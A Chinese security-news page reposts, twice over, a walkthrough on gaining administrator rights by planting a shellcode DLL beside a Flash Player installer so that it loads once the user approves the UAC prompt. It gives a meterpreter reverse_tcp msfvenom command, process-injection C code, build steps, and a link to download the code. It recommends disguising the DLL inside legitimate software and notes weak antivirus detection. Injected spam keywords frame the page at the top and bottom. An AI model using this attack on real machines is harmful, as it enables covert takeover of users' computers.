精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

當(dāng)前位置:安全行業(yè)動態(tài) → 正文

借用UAC完成的提權(quán)思路分享

責(zé)任編輯:editor005 作者:獵豹科學(xué)院 |來源:企業(yè)網(wǎng)D1Net  2015-09-22 14:21:54 本文摘自:烏云知識庫

0x00 背景

UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術(shù),它要求用戶在執(zhí)行可能會影響計算機運行的操作或執(zhí)行更改影響其他用戶的設(shè)置的操作之前,提供權(quán)限或管理員‌密碼。也就是說一旦用戶允許啟動的應(yīng)用程序通過UAC驗證,那么這個程序也就有了管理員權(quán)限。如果我們通過某種方式劫持了通過用戶UAC驗證的程序,那么相應(yīng)的我們的程序也就實現(xiàn)了提權(quán)的過程。

0x01 提權(quán)過程概述

首先我們找到目標(biāo)程序,查找其動態(tài)加載的dll文件然后將其替換掉,插入我們包含shellcode的dll文件,這樣用戶在安裝此文件的時候就會調(diào)用我們的dll文件,并執(zhí)行我們的shellcode代碼。同時為了防止程序崩掉導(dǎo)致我們的代碼退出,采用注入的方式保證shellcode的穩(wěn)定執(zhí)行。在此過程中,如果目標(biāo)程序請求UAC權(quán)限,對于用戶來說這是一個正常的安裝文件,一旦通過UAC驗證,相應(yīng)我們的shellcode也完成了提權(quán)過程。替換安裝包dll文件這種行為太過于敏感,其實最后實現(xiàn)的方式是找到目標(biāo)程序需要加載的,并且當(dāng)前目錄又不存在的需要聯(lián)網(wǎng)下載的dll文件,我們只需要在該目錄下放一個同名dll文件即可。

0x02 實驗環(huán)境

Kali Debian7

Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連接。最好安裝一個Mingw-w64用于編譯c代碼。

windows7 x64

主要的目標(biāo)測試環(huán)境。

Procmon.exe

Procmon是微軟出的一款強大的Windows監(jiān)視工具,不但可以監(jiān)視進程/線程,還可以監(jiān)控到文件系統(tǒng),注冊表的變化等。

install_flashplayer15x32_mssd_aaa_aih

這里我們以flashplayer安裝文件作為目標(biāo)文件,版本為15x32_mssd_aaa_aih,可自行下載,或者從最后的打包附件中找到。

0x03 詳細提權(quán)過程

查找可劫持的dll文件

首先我們在win7系統(tǒng)下先打開procmon監(jiān)控軟件,清除一下日志信息,然后運行我們的目標(biāo)文件install_flashplayer15x32_mssd_aaa_aih,運行過后會彈出UAC選項,需要用戶確認(rèn)授權(quán)。

這里我們點“是”,然后安裝包開始安裝并自刪除,并從服務(wù)器下載所需的文件,這時候就可以關(guān)掉了,因為我們只需要看該軟件包都加載了哪些dll文件。

看下Procmon.exe記錄所有行為

信息量太大,我們需要過濾出有用的信息。

首先是只看我們目標(biāo)進程的信息,添加過濾規(guī)則:

Process Name is install_flashplayer15x32_mssd_aaa_aih

然后是過濾掉加載系統(tǒng)的dll文件,只看安裝包當(dāng)前目錄下加載的dll文件,我這里安裝包存放在dllhijack文件夾下,添加過濾規(guī)則:

Path contains dllhijack

并且該加載dll不存在,需要聯(lián)網(wǎng)從服務(wù)器下載,最后再添加一個過濾規(guī)則:

Result is NAME NOT FOUND

三個過濾規(guī)則如下所示:

經(jīng)過三個規(guī)則過濾后,留下的信息就很明顯了,如下圖所示:

上邊所列的dll文件都是會嘗試加載,并且找不到,會聯(lián)網(wǎng)進行下載的dll文件,因此,我們的目標(biāo)就是劫持這些dll文件,也不需要替換,直接將我們的dll文件放在安裝包同目錄即可,這也是為什么選擇這個安裝程序測試的原因。如果選擇其他安裝包測試的,最好也是選擇這種聯(lián)網(wǎng)安裝類型的,所有文件都從服務(wù)器拉取,如果安裝程序沒有對這些從服務(wù)器拉取的文件進行效驗,就能夠被劫持。

編寫exploit

找到劫持了dll文件后,我們進入Debian系統(tǒng)用msf生成shellcode,這里我們選擇反彈tcp的shellcode,需要知道服務(wù)器ip地址和監(jiān)聽端口,這里也選擇Debian系統(tǒng)作為服務(wù)器,ifconfig查看下ip,設(shè)置監(jiān)聽端口為9000,最后執(zhí)行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

為了防止程序掛掉或者退出導(dǎo)致shellcode也跟著退出,采用注入的方式,將shellcode注入rundll32.exe進程,然后連接遠程端口。服務(wù)器監(jiān)聽該端口,一旦有請求就建立會話連接,注入關(guān)鍵代碼:

if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {

ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;

GetThreadContext(pi.hThread, &ctx);

ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);

#ifdef _WIN64

ctx.Rip = (DWORD64)ep;

#else

ctx.Eip = (DWORD)ep;

#endif

SetThreadContext(pi.hThread, &ctx);

ResumeThread(pi.hThread);

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

}

最后將程序編譯,這里編譯直接在Debian系統(tǒng)下用Mingw-w64編譯,命令入下:

root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared

root@idhyt:~/maldemo# file template.dll

template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

將編譯好的template.dll拷貝到win7系統(tǒng)中備用。

debian系統(tǒng)設(shè)置服務(wù)器并監(jiān)聽9000端口,所有命令如下:

提權(quán)

將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監(jiān)控到的可劫持dll文件中選擇一個,這里我選擇dhcpcsv6.dll。將我們的dll文件改名為dhcpcsvc6.dll,其他dll文件可自行嘗試。之后重新運行安裝包,彈出UAC選項后點“是”。

之后我們在debian系統(tǒng)的服務(wù)端會看到我們已經(jīng)監(jiān)聽到了這個端口,看下會話信息:

查看下當(dāng)前uid,然后執(zhí)行g(shù)etsystem命令權(quán)限:

可以看到已經(jīng)提權(quán)成功,然后進入shell查看下文件,運行個計算器什么的

  0x04 總結(jié)

UAC很大程度上減少PC受到惡意軟件侵害的機會,但是并不表明是不可被利用的。通過這種dll劫持方式,可以將dll文件設(shè)置為隱藏,并將正常的軟件(如adobe flash player)打包給用戶,用戶基本是察覺不到的,一旦用戶正常安裝,機器就會被攻擊者控制。一些病毒通過劫持lpk.dll等系統(tǒng)dll文件造成的病毒體執(zhí)行,也是利用這種思路,但是替換系統(tǒng)文件這種敏感操作,基本逃不過殺軟的監(jiān)控了。

各殺軟廠商對shellcode這種檢測和防御也不夠嚴(yán)格,直接從msf中提取的shellcode,沒做任何變形和過殺軟處理,然后virustotal網(wǎng)站上掃描結(jié)果如下:

可以看出總共用了56中殺毒軟件掃描,報毒的只有16個,然后看下國內(nèi)的殺軟:

國內(nèi)殺軟全都沒有報毒,所以通過dll劫持提權(quán)還是有很大的使用空間。 代碼和安裝包上傳百度網(wǎng)盤:鏈接: http://pan.baidu.com/s/1ntAbfQD 密碼: rmsq 解壓碼:ks123456

關(guān)鍵字:DLL文件shellcode

本文摘自:烏云知識庫

x 借用UAC完成的提權(quán)思路分享 掃一掃
分享本文到朋友圈
當(dāng)前位置:安全行業(yè)動態(tài) → 正文

借用UAC完成的提權(quán)思路分享

責(zé)任編輯:editor005 作者:獵豹科學(xué)院 |來源:企業(yè)網(wǎng)D1Net  2015-09-22 14:21:54 本文摘自:烏云知識庫

0x00 背景

UAC(User Account Control,用戶帳戶控制)是微軟為提高系統(tǒng)安全而在Windows Vista中引入的新技術(shù),它要求用戶在執(zhí)行可能會影響計算機運行的操作或執(zhí)行更改影響其他用戶的設(shè)置的操作之前,提供權(quán)限或管理員‌密碼。也就是說一旦用戶允許啟動的應(yīng)用程序通過UAC驗證,那么這個程序也就有了管理員權(quán)限。如果我們通過某種方式劫持了通過用戶UAC驗證的程序,那么相應(yīng)的我們的程序也就實現(xiàn)了提權(quán)的過程。

0x01 提權(quán)過程概述

首先我們找到目標(biāo)程序,查找其動態(tài)加載的dll文件然后將其替換掉,插入我們包含shellcode的dll文件,這樣用戶在安裝此文件的時候就會調(diào)用我們的dll文件,并執(zhí)行我們的shellcode代碼。同時為了防止程序崩掉導(dǎo)致我們的代碼退出,采用注入的方式保證shellcode的穩(wěn)定執(zhí)行。在此過程中,如果目標(biāo)程序請求UAC權(quán)限,對于用戶來說這是一個正常的安裝文件,一旦通過UAC驗證,相應(yīng)我們的shellcode也完成了提權(quán)過程。替換安裝包dll文件這種行為太過于敏感,其實最后實現(xiàn)的方式是找到目標(biāo)程序需要加載的,并且當(dāng)前目錄又不存在的需要聯(lián)網(wǎng)下載的dll文件,我們只需要在該目錄下放一個同名dll文件即可。

0x02 實驗環(huán)境

Kali Debian7

Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反彈TCP連接。最好安裝一個Mingw-w64用于編譯c代碼。

windows7 x64

主要的目標(biāo)測試環(huán)境。

Procmon.exe

Procmon是微軟出的一款強大的Windows監(jiān)視工具,不但可以監(jiān)視進程/線程,還可以監(jiān)控到文件系統(tǒng),注冊表的變化等。

install_flashplayer15x32_mssd_aaa_aih

這里我們以flashplayer安裝文件作為目標(biāo)文件,版本為15x32_mssd_aaa_aih,可自行下載,或者從最后的打包附件中找到。

0x03 詳細提權(quán)過程

查找可劫持的dll文件

首先我們在win7系統(tǒng)下先打開procmon監(jiān)控軟件,清除一下日志信息,然后運行我們的目標(biāo)文件install_flashplayer15x32_mssd_aaa_aih,運行過后會彈出UAC選項,需要用戶確認(rèn)授權(quán)。

這里我們點“是”,然后安裝包開始安裝并自刪除,并從服務(wù)器下載所需的文件,這時候就可以關(guān)掉了,因為我們只需要看該軟件包都加載了哪些dll文件。

看下Procmon.exe記錄所有行為

信息量太大,我們需要過濾出有用的信息。

首先是只看我們目標(biāo)進程的信息,添加過濾規(guī)則:

Process Name is install_flashplayer15x32_mssd_aaa_aih

然后是過濾掉加載系統(tǒng)的dll文件,只看安裝包當(dāng)前目錄下加載的dll文件,我這里安裝包存放在dllhijack文件夾下,添加過濾規(guī)則:

Path contains dllhijack

并且該加載dll不存在,需要聯(lián)網(wǎng)從服務(wù)器下載,最后再添加一個過濾規(guī)則:

Result is NAME NOT FOUND

三個過濾規(guī)則如下所示:

經(jīng)過三個規(guī)則過濾后,留下的信息就很明顯了,如下圖所示:

上邊所列的dll文件都是會嘗試加載,并且找不到,會聯(lián)網(wǎng)進行下載的dll文件,因此,我們的目標(biāo)就是劫持這些dll文件,也不需要替換,直接將我們的dll文件放在安裝包同目錄即可,這也是為什么選擇這個安裝程序測試的原因。如果選擇其他安裝包測試的,最好也是選擇這種聯(lián)網(wǎng)安裝類型的,所有文件都從服務(wù)器拉取,如果安裝程序沒有對這些從服務(wù)器拉取的文件進行效驗,就能夠被劫持。

編寫exploit

找到劫持了dll文件后,我們進入Debian系統(tǒng)用msf生成shellcode,這里我們選擇反彈tcp的shellcode,需要知道服務(wù)器ip地址和監(jiān)聽端口,這里也選擇Debian系統(tǒng)作為服務(wù)器,ifconfig查看下ip,設(shè)置監(jiān)聽端口為9000,最后執(zhí)行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

為了防止程序掛掉或者退出導(dǎo)致shellcode也跟著退出,采用注入的方式,將shellcode注入rundll32.exe進程,然后連接遠程端口。服務(wù)器監(jiān)聽該端口,一旦有請求就建立會話連接,注入關(guān)鍵代碼:

if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {

ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;

GetThreadContext(pi.hThread, &ctx);

ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);

#ifdef _WIN64

ctx.Rip = (DWORD64)ep;

#else

ctx.Eip = (DWORD)ep;

#endif

SetThreadContext(pi.hThread, &ctx);

ResumeThread(pi.hThread);

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

}

最后將程序編譯,這里編譯直接在Debian系統(tǒng)下用Mingw-w64編譯,命令入下:

root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared

root@idhyt:~/maldemo# file template.dll

template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

將編譯好的template.dll拷貝到win7系統(tǒng)中備用。

debian系統(tǒng)設(shè)置服務(wù)器并監(jiān)聽9000端口,所有命令如下:

提權(quán)

將編譯的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目錄下,從我們監(jiān)控到的可劫持dll文件中選擇一個,這里我選擇dhcpcsv6.dll。將我們的dll文件改名為dhcpcsvc6.dll,其他dll文件可自行嘗試。之后重新運行安裝包,彈出UAC選項后點“是”。

之后我們在debian系統(tǒng)的服務(wù)端會看到我們已經(jīng)監(jiān)聽到了這個端口,看下會話信息:

查看下當(dāng)前uid,然后執(zhí)行g(shù)etsystem命令權(quán)限:

可以看到已經(jīng)提權(quán)成功,然后進入shell查看下文件,運行個計算器什么的

  0x04 總結(jié)

UAC很大程度上減少PC受到惡意軟件侵害的機會,但是并不表明是不可被利用的。通過這種dll劫持方式,可以將dll文件設(shè)置為隱藏,并將正常的軟件(如adobe flash player)打包給用戶,用戶基本是察覺不到的,一旦用戶正常安裝,機器就會被攻擊者控制。一些病毒通過劫持lpk.dll等系統(tǒng)dll文件造成的病毒體執(zhí)行,也是利用這種思路,但是替換系統(tǒng)文件這種敏感操作,基本逃不過殺軟的監(jiān)控了。

各殺軟廠商對shellcode這種檢測和防御也不夠嚴(yán)格,直接從msf中提取的shellcode,沒做任何變形和過殺軟處理,然后virustotal網(wǎng)站上掃描結(jié)果如下:

可以看出總共用了56中殺毒軟件掃描,報毒的只有16個,然后看下國內(nèi)的殺軟:

國內(nèi)殺軟全都沒有報毒,所以通過dll劫持提權(quán)還是有很大的使用空間。 代碼和安裝包上傳百度網(wǎng)盤:鏈接: http://pan.baidu.com/s/1ntAbfQD 密碼: rmsq 解壓碼:ks123456

關(guān)鍵字:DLL文件shellcode

本文摘自:烏云知識庫

電子周刊
回到頂部

關(guān)于我們聯(lián)系我們版權(quán)聲明隱私條款廣告服務(wù)友情鏈接投稿中心招賢納士

企業(yè)網(wǎng)版權(quán)所有 ©2010-2024 京ICP備09108050號-6 京公網(wǎng)安備 11010502049343號

^
  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 阿勒泰市| 石屏县| 专栏| 吉安县| 金湖县| 昂仁县| 平安县| 银川市| 安宁市| 阿城市| 临猗县| 大足县| 长宁区| 麟游县| 招远市| 商洛市| 呼伦贝尔市| 海丰县| 建湖县| 许昌县| 凯里市| 云龙县| 兴海县| 临洮县| 会理县| 琼海市| 兰考县| 唐河县| 政和县| 大化| 南岸区| 淄博市| 深州市| 梁平县| 盘山县| 尉氏县| 莒南县| 孝感市| 咸丰县| 沅江市| 渝中区|